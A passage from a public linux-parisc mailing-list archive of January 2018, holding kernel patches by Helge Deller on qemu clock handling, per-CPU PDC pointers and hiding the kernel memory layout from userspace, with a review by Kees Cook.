NNTP-Posting-Date: Fri, 12 Jan 2018 21:42:21 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 12 22:42:16 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ea75S-0006ux-GK
	for glpp-linux-parisc@m.gmane.org; Fri, 12 Jan 2018 22:42:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965268AbeALVoK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 12 Jan 2018 16:44:10 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:55756 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965189AbeALVoJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 12 Jan 2018 16:44:09 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.33]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDyFr-1edf5R2tA7-00HMU8; Fri, 12
 Jan 2018 22:44:02 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:paS3W03qBhwleRc1fbF2KFN5BxeaptQzkcPD8wBoHfv042q9jrC
 1iGgcsEdE1PhoeRmiOO6iEQQsABkGbVKyMWD5vltsqL8bfjJKPoaavHF7UzFiGcnYTcTTgY
 nn9jPqTG9Vfi/QOhiB3KI+gtR0h8O+rI4vMONKEEFrmia6cog0DOz9pfzstAu1ecq58d8tX
 kTKjonS5la0xuUoZRTAdQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XAogf3FyUVE=:caGdF9fGrtISHQEHjXLXlm
 guTDWzmuYLEfpS+scEOt8K79BiXBOJKVy7SDV0EF2ABSKIyaH1T/S+qsnFoGeFVFEyBWBgKH/
 mcqJuwEFF6s8rx4+aUm9b5C0cTKxmS/62WlH44vrwvLTgVfEJfrDQb9c3abrVtDRhhwaH618g
 YhSiXeH7Gte8ur/gngKu+3EbXEvlPJLo9zO13tYAtGtA1lvO+Tskm5tXdJrhC0FfcA/oOjMvV
 WZ4MR91Xm7k4y3fTIMAP41pDlzOCWLKqKQrQEw5867F20xfbuXSNDriRNlqDoXNSIkSE4hXmQ
 5BXJpg0kqsmt7dM65EXfdB2JcO8cV/i/TV5oGoWJPHe99lKye5T5QFrYEjBoPnedKLvuVaI4W
 DtW64rsUOOP3GD05ssL/6HYq9vuMkY5HqaUrR5wDyFW67wudA+/BXPgNnpTumFkOyBZSzmp4R
 pe1Hl5z/1SIDQr2o68h3RK/NUzGZOqi4YfJv4qsDZdVzfk0G0TK+ONXlmzF2KzoC38ZPsE6Gn
 bL2Bk7I/97LmrYKQQ189pmDE+w1gnuOWXs2F3O5tvLamVfEyw0wAr57xFRsxpYqL6rlh3D9h4
 Mta0fxkww3YPhUCnDeNzMHYW2J1lA1+wf8tmCU1Lohdhfws12BhAnbqUOXCq4x2tJA0/aV4j0
 rbU04nysr4MEXd5sKkRV2Jkqa+CND+pFAkYWOikDejZDWUCeeirZ+IpFU5fI5wHlznbO0qLXt
 tJRPaafVnv2Wym0xOqdN/sHzaLCfJ5yBzFjVhqp6rJNFK7rEnSYHjZ7AcbrY1ZhMRbEFPLrT 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28265>

When running on qemu we know that the (emulated) cr16 cpu-internal
clocks are syncronized. So let's use them unconditionally on qemu.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 0e6ab6e4a4e9..2dbe5580a1a4 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -316,6 +316,8 @@ extern int _parisc_requires_coherency;
 #define parisc_requires_coherency()	(0)
 #endif
 
+extern int running_on_qemu;
+
 #endif /* __ASSEMBLY__ */
 
 #endif /* __ASM_PARISC_PROCESSOR_H */
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 4b8fd6dc22da..68e88e5c0898 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -248,7 +248,7 @@ static int __init init_cr16_clocksource(void)
 	 * different sockets, so mark them unstable and lower rating on
 	 * multi-socket SMP systems.
 	 */
-	if (num_online_cpus() > 1) {
+	if (num_online_cpus() > 1 && !running_on_qemu) {
 		int cpu;
 		unsigned long cpu0_loc;
 		cpu0_loc = per_cpu(cpu_data, 0).cpu_loc;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Check if secondary CPUs want own PDC calls
Date: Fri, 12 Jan 2018 22:51:22 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <20180112215121.GA5700@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515793772 2478 195.159.176.226 (12 Jan 2018 21:49:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 21:49:32 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 12 22:49:28 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ea7CZ-00041s-JS
	for glpp-linux-parisc@m.gmane.org; Fri, 12 Jan 2018 22:49:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965176AbeALVvb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 12 Jan 2018 16:51:31 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:61029 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965133AbeALVva (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 12 Jan 2018 16:51:30 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.33]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LiDrv-1fE6ox2JIR-00nPQ7; Fri, 12
 Jan 2018 22:51:24 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:MIA95LeUdtuDs7CKKBECbxNkSdcUtayEjj+T5PpiGsxmV0ZfsMq
 gWn4U6UAk7cB/CVGAQ8n1ykOfF+oFKu0L/BGIuHTow2evEIIXCwZP0tNLYXzpcuw1N7/Sv/
 lZZJFrawbqrQYGsoBbUx3w9s4JLThtdcWhvdkuZ6QHNg5WVBSpgnxiJ9dDHaT34YmYv9i15
 JkSwM1BqVdHtPrF+iSfsw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:U7wgbKOi/q4=:SB0MYuvWfwLMBQT8ClGo7G
 yryNGg8EC87qpIbDexR4qY02HAJTRW+x9AYkLlQVrRqXaM1CV4mEUfr0uDJaCeNPl9Z67BzLF
 6lqdMy4WfQ6i7psFkhQIyq45ngmiF020s2UpnhTFVBQe0u++KZ00xItYoLT9xeFJeHSMyb+H0
 vrHh6M46iw/8XM+PFADL5XHMEeeI+WSofVg6Y0WhdD3PLkUgmC06aiX/nRStrMq4R2Psm5vyx
 WV8Q4FtvdFw6ee+/nguiwcnbQpCRx9D78A/XbyEqoN2s/HGmbu4psJh3uFgAD4uImhShBPkWs
 lO9ttghhTHfAEX6+o3/fjeWVdP8TxGgqWLqdYCNW94TeMfMV/tbUDuQmgkuMhcZyxmQ179cro
 8LtXYtJXBH1eQabtKJMUC76UA57X+96GaOOXX2xIkXzRFTbTSZ5AFxsMC6OThVYbwpNSPMYAv
 SFNVTPdA7xPfrRpAtTL32UasLFq7as8FLXbMVxTLeKDTfQxjsFFKUwV5O4FyxUWZLLj9SRJS5
 0HP4iNq1/EABCsFtRx7fW20gL4ubWsZJHutUovCmw7hCBhog8nD+MQutRey+0BjLtZ9RHYwBX
 9Wd3S8jUJRRtOPDzrA9Sk6TwOcS1sifKVAaSs2GD3956xa+SDktoWAnhBWjbVfTMjtDInSHiq
 JXvwQqiTvLTVyiqimoS+jHuvxURS2gZt9+UDLUw2NRL/Dq2+90zabJs+W1UNVQz7J24JoE1Lc
 AETWoeP4/X2zNUkAFA9FADVlQPRHgDKeDoZ3EAeTeDP4xswjmyiDWv9MmFvLIbFtJXCi4+ud 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28266>

The architecture specification says (for 64-bit systems): PDC is a per
processor resource, and operating system software must be prepared to
manage separate pointers to PDCE_PROC for each processor.  The address
of PDCE_PROC for the monarch processor is stored in the Page Zero
location MEM_PDC. The address of PDCE_PROC for each non-monarch
processor is passed in gr26 when PDCE_RESET invokes OS_RENDEZ.

Currently we still use one PDC for all CPUs, but in case we face a
machine which is following the specification let's warn about it.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index bbbe360b458f..fbb4e43fda05 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -138,6 +138,16 @@ $pgt_fill_loop:
 	std		%dp,0x18(%r10)
 #endif
 
+#ifdef CONFIG_64BIT
+	/* Get PDCE_PROC for monarch CPU. */
+#define MEM_PDC_LO 0x388
+#define MEM_PDC_HI 0x35C
+	ldw             MEM_PDC_LO(%r0),%r3
+	ldw             MEM_PDC_HI(%r0),%r10
+	depd            %r10, 31, 32, %r3        /* move to upper word */
+#endif
+
+
 #ifdef CONFIG_SMP
 	/* Set the smp rendezvous address into page zero.
 	** It would be safer to do this in init_smp_config() but
@@ -196,12 +206,6 @@ common_stext:
         ** Someday, palo might not do this for the Monarch either.
         */
 2:
-#define MEM_PDC_LO 0x388
-#define MEM_PDC_HI 0x35C
-	ldw             MEM_PDC_LO(%r0),%r3
-	ldw             MEM_PDC_HI(%r0),%r6
-	depd            %r6, 31, 32, %r3        /* move to upper word */
-
 	mfctl		%cr30,%r6		/* PCX-W2 firmware bug */
 
 	ldo             PDC_PSW(%r0),%arg0              /* 21 */
@@ -268,6 +272,8 @@ $install_iva:
 aligned_rfi:
 	pcxt_ssm_bug
 
+	copy		%r3, %arg0	/* PDCE_PROC for smp_callin() */
+
 	rsm		PSW_SM_QUIET,%r0	/* off troublesome PSW bits */
 	/* Don't need NOPs, have 8 compliant insn before rfi */
 
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 30c28ab14540..4065b5e48c9d 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -292,10 +292,15 @@ smp_cpu_init(int cpunum)
  * Slaves start using C here. Indirectly called from smp_slave_stext.
  * Do what start_kernel() and main() do for boot strap processor (aka monarch)
  */
-void __init smp_callin(void)
+void __init smp_callin(unsigned long pdce_proc)
 {
 	int slave_id = cpu_now_booting;
 
+#ifdef CONFIG_64BIT
+	WARN_ON(((unsigned long)(PAGE0->mem_pdc_hi) << 32
+			| PAGE0->mem_pdc) != pdce_proc);
+#endif
+
 	smp_cpu_init(slave_id);
 	preempt_disable();
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture fixes for 4.15-rc7
Date: Fri, 12 Jan 2018 22:57:15 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20180112215715.GA8246@ls3530.fritz.box>
References: <20180107162123.GA9715@ls3530.fritz.box>
 <CAGXu5jJ=s8NBBpd9fxr37T+HV8SNunq71AgGwu+Cy7WogPH=xA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515794131 25839 195.159.176.226 (12 Jan 2018 21:55:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 21:55:31 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Kees Cook <keescook@chromium.org>, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 12 22:55:27 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ea7II-0000T1-2p
	for glpp-linux-parisc@m.gmane.org; Fri, 12 Jan 2018 22:55:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965212AbeALV50 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 12 Jan 2018 16:57:26 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:55158 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965193AbeALV5Z (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 12 Jan 2018 16:57:25 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.33]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LhB9P-1fFCcj1Rt1-00oa7u; Fri, 12
 Jan 2018 22:57:18 +0100
Content-Disposition: inline
In-Reply-To: <CAGXu5jJ=s8NBBpd9fxr37T+HV8SNunq71AgGwu+Cy7WogPH=xA@mail.gmail.com>
X-Provags-ID: V03:K0:LHQaVed9FKUrkb0fZobIra+LK54I4RpbH6GJr8HuNyCYePXS3Pg
 6YPpL9lr5Ftz7AMMgkCHSfjUOat3aAs6ny5q1okQVX5oMtbkUXvzB9iV3QTMnYQHesoofBE
 P55h3ho3hKOYvAvvFNx1bFpcC23N+BX7QnSejuC8hS009rqjYII9Hn3h1TQUlgDRS1BXXl/
 bF93QbxeVZQ9qflLYtyRA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:67xUldYXZbc=:KqUs0D2jUKbuOLlX4qPPeF
 V3rVTfyTKXiEUV1Qo9EvqBEULdLOuxQ252jTSjUdrgFmnhf5Mtzc6Mts513u+a7xlgDw2QIMy
 dBwIEr/7vaT/V94Nm227ZWRDpTE7PGZk2gjkn4yJS0LdT/Vwd9HVOY+ENa26PRUqrJMnJKg9R
 WBSTG/PxyyREJDgfM+s14VKm91FH+xyP35pKpmkoc1uQdx9Knymk4oU68PoCS3pFzO1dCumxU
 DtPzgp2wUThZ2SpOzMsPmzTHBM2i2MGfLK/DKpIVpd/XnPEJuH6/dQvfjMs/LIYE7UGP1ZpG/
 m/6R1PyMxGq/ciNiGR+9f0svZJAWqEupQWVGQ//rcNhyjdy3b0Y3Lf9IuzTMFEFNjASkBSbhS
 2WzsjHViAJxwOXLl5zEfstKzfdQGvBcFiic4JveG2m7fDP++J7n0L3SGZZEyMOtxiBsaIw3kT
 FrZsMSX3izWAlEXV8NKzg8oo82bl1JEkdma5P3i/h2PUM7GS2hNbtUtp3BAOP/1Ga+KYvUIsX
 DGqoS1K9Fhkb1eJXhi2bybW5C1XKzkviJna/zh/VzngHzk6kdElqx9wU1pWxwc8dLJZLhTuOy
 GWKpsQdvywSj5qcajF2uqC+wrpTnkWu0wRxOjoeXaZoDi30Dtv0ibpaIxY8Y7uNs41wnJssLm
 As6y6U5ABeUJczv7UcpTHau7ZiV3V0zYtBi9OqNw40p2v211rfcmQORGWts/dR+ARfihkHTxO
 QVGTMLJvwqOqykHjxNGP2LoawxJkxMfUpco8D/FUFHtXyMhGGZoscCGfCplsf5xQxuWUgn/b 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28267>



Subject: [PATCH] parisc: Hide virtual kernel memory layout

For security reasons do not expose the virtual kernel memory layout to
userspace.

Signed-off-by: Helge Deller <deller@gmx.de>
Suggested-by: Kees Cook <keescook@chromium.org>
Cc: stable@vger.kernel.org # 4.15

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 48f41399fc0b..cab32ee824d2 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -629,7 +629,12 @@ void __init mem_init(void)
 #endif
 
 	mem_init_print_info(NULL);
-#ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
+
+#if 0
+	/*
+	 * Do not expose the virtual kernel memory layout to userspace.
+	 * But keep code for debugging purposes.
+	 */
 	printk("virtual kernel memory layout:\n"
 	       "    vmalloc : 0x%px - 0x%px   (%4ld MB)\n"
 	       "    memory  : 0x%px - 0x%px   (%4ld MB)\n"
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture fixes for 4.15-rc7
Date: Fri, 12 Jan 2018 14:26:56 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <CAGXu5jKdn2CdyqxB9Y6VNGTy8BugAGXtT7Zi6WHTG=EA6xfQ2g@mail.gmail.com>
References: <20180107162123.GA9715@ls3530.fritz.box> <CAGXu5jJ=s8NBBpd9fxr37T+HV8SNunq71AgGwu+Cy7WogPH=xA@mail.gmail.com>
 <20180112215715.GA8246@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1515795903 13671 195.159.176.226 (12 Jan 2018 22:25:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 22:25:03 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 12 23:24:59 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ea7ks-0005Tr-J6
	for glpp-linux-parisc@m.gmane.org; Fri, 12 Jan 2018 23:24:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965223AbeALW06 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 12 Jan 2018 17:26:58 -0500
Original-Received: from mail-ua0-f193.google.com ([209.85.217.193]:46434 "EHLO
        mail-ua0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965212AbeALW05 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 12 Jan 2018 17:26:57 -0500
Original-Received: by mail-ua0-f193.google.com with SMTP id u2so5044066uad.13
        for <linux-parisc@vger.kernel.org>; Fri, 12 Jan 2018 14:26:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=mp9grUpCTP4Wq3bLsdLmjbjsnF6zm2L8eISN2vsMobE=;
        b=Q4xPYfCL5hBiErbx76d7MoVRd0KtNcN3yTf3hSBmxA2DH6eBHBHuuh4T0eysBVvocQ
         aDxEKLpS7HR+j0MdIP8x5xShGOehUFZ2FSzR4Uir6xLOOcJAYlMNnd5mQhGiH+b1B40k
         0RLGm7HvOYJXdkhXJxNNUd3gdKWziH/zB/RW3h3PgjGzT2Xsgvswx2+v+Yp1vJKkZi8C
         CnrdE8oVYHfG9/kJeH2HaMfzIXr1DMn38RU64n+aVKRtcI70ISU8LTFVXBwhgkBih5rq
         DRFSzWC86Us8QKGAo0+QBFM0vccc+GyHO3iAVdpw0VJtGczdEdKJ53O6TeK9C/0FdSN1
         KKkA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=mp9grUpCTP4Wq3bLsdLmjbjsnF6zm2L8eISN2vsMobE=;
        b=VuYHuG7zGVp99KKbs+SIRnh8on+nW2oJRzv7nt67zEKW6Iayxjr8mI7yZLcnwE/bcu
         1wRbwXE5nA++lsPhp/QWQueszRTYX8MW/YLbrf8212M3tV2OyzyUs6LRQHCznUpE3kFr
         dUCZNme8aKbXa0SdZV8hb5hF0NLO9+l99/o5s=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=mp9grUpCTP4Wq3bLsdLmjbjsnF6zm2L8eISN2vsMobE=;
        b=Mh6mvW2ICE+L87AUgW+c8myFVlmQneEnFzCuxsYgHY9aVh6Bp5p7r/w6/TueUhKkjx
         W4bjfSwyrLbl33hVQnw0jQH7BSQYDKG4gKvdXMxvoWr5dgqLV98h2W9urCHMBlzPUVz+
         hWsc3C2eS7+ARhQYzLylZK7K2qQmty16OKMwFzq1hZu+ECAhB+0G/4Br+b6VDJkIGzbH
         f+O5eekVZb1ftUVK1O7lgqXazEDYVWRpEYF2Fv7sH34+EVjnciFmSxDePDpuiLPpGgwk
         BfPjeKk7KJ90d808Td2dRvVkQ6IfUEqumZviBoeF3gyjroWSNo/4iq0FxScTGWr6/5Zj
         HWQg==
X-Gm-Message-State: AKwxytdrT6PRt7hZc6d4/s77YRmkyeO9eEht4el9BAe6UZMPvvLV86ql
        GRqxRVgAzQ25y5EwJRHy/rhlu++Cv4vgXOR06C5jRw==
X-Google-Smtp-Source: ACJfBovpL6LyaTPZ7InNtRD73AI0XC3/NgMDnUl+6kWZaokVbCWWheEuBfNO0tqj88NL7mVXo1Wb+1pm8bKa9ksxy1g=
X-Received: by 10.176.16.214 with SMTP id x22mr27167673uab.155.1515796016953;
 Fri, 12 Jan 2018 14:26:56 -0800 (PST)
Original-Received: by 10.31.67.196 with HTTP; Fri, 12 Jan 2018 14:26:56 -0800 (PST)
In-Reply-To: <20180112215715.GA8246@ls3530.fritz.box>
X-Google-Sender-Auth: K_L2suQ6qyg-hqQzQz0ruGveBzE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28268>

On Fri, Jan 12, 2018 at 1:57 PM, Helge Deller <deller@gmx.de> wrote:
>
>
> Subject: [PATCH] parisc: Hide virtual kernel memory layout
>
> For security reasons do not expose the virtual kernel memory layout to
> userspace.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
> Suggested-by: Kees Cook <keescook@chromium.org>
> Cc: stable@vger.kernel.org # 4.15

Thanks!

Reviewed-by: Kees Cook <keescook@chromium.org>

-Kees

>
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index 48f41399fc0b..cab32ee824d2 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -629,7 +629,12 @@ void __init mem_init(void)
>  #endif
>
>         mem_init_print_info(NULL);
> -#ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
> +
> +#if 0
> +       /*
> +        * Do not expose the virtual kernel memory layout to userspace.
> +        * But keep code for debugging purposes.
> +        */
>         printk("virtual kernel memory layout:\n"
>                "    vmalloc : 0x%px - 0x%px   (%4ld MB)\n"
>                "    memory  : 0x%px - 0x%px   (%4ld MB)\n"



-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 04/11] signal/parisc: Document a conflict with SI_USER
 with SIGFPE
Date: Fri, 12 Jan 2018 23:29:44 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <20180112222944.GA22642@ls3530.fritz.box>
References: <87373b6ghs.fsf@xmission.com>
 <20180112005940.23279-4-ebiederm@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515796109 32523 195.159.176.226 (12 Jan 2018 22:28:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 22:28:29 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-kernel@vger.kernel.org, Al Viro <viro@zeniv.linux.org.uk>,
        Oleg Nesterov <oleg@redhat.com>, linux-arch@vger.kernel.org
To: "Eric W. Biederman" <ebiederm@xmission.com>,
        linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 12 23:28:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ea7oF-00080Y-9z
	for glk-linux-kernel-3@m.gmane.org; Fri, 12 Jan 2018 23:28:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965326AbeALWaY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 12 Jan 2018 17:30:24 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:63644 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965212AbeALWaU (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Jan 2018 17:30:20 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.33]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LpsmR-1f6Pdp1EtL-00fm7Y; Fri, 12
 Jan 2018 23:29:50 +0100
Content-Disposition: inline
In-Reply-To: <20180112005940.23279-4-ebiederm@xmission.com>
X-Provags-ID: V03:K0:eTFfv40SbxQ1MpBxmCRNGkP/TKUmUipgYYbwM24xiz5jlD1GGXZ
 mK1PI8nelEpJZQuFoNQZTHCbWO9PydMiPNTE8NPXPEvawxF5ZLDX6xbLTG2Ro0RHrWV4jwc
 zN4LLcYF41wzVxqIhPDyEyT1ohBb0EmwdVYUBLdtWIwQCBy6SQLkv/7mHAwwlV1C1zdu+jP
 jF+WRirIiAEn30LyP+y4g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:jlktHS8v+kA=:mxwpKsbttJYMQ3RiFOPfS4
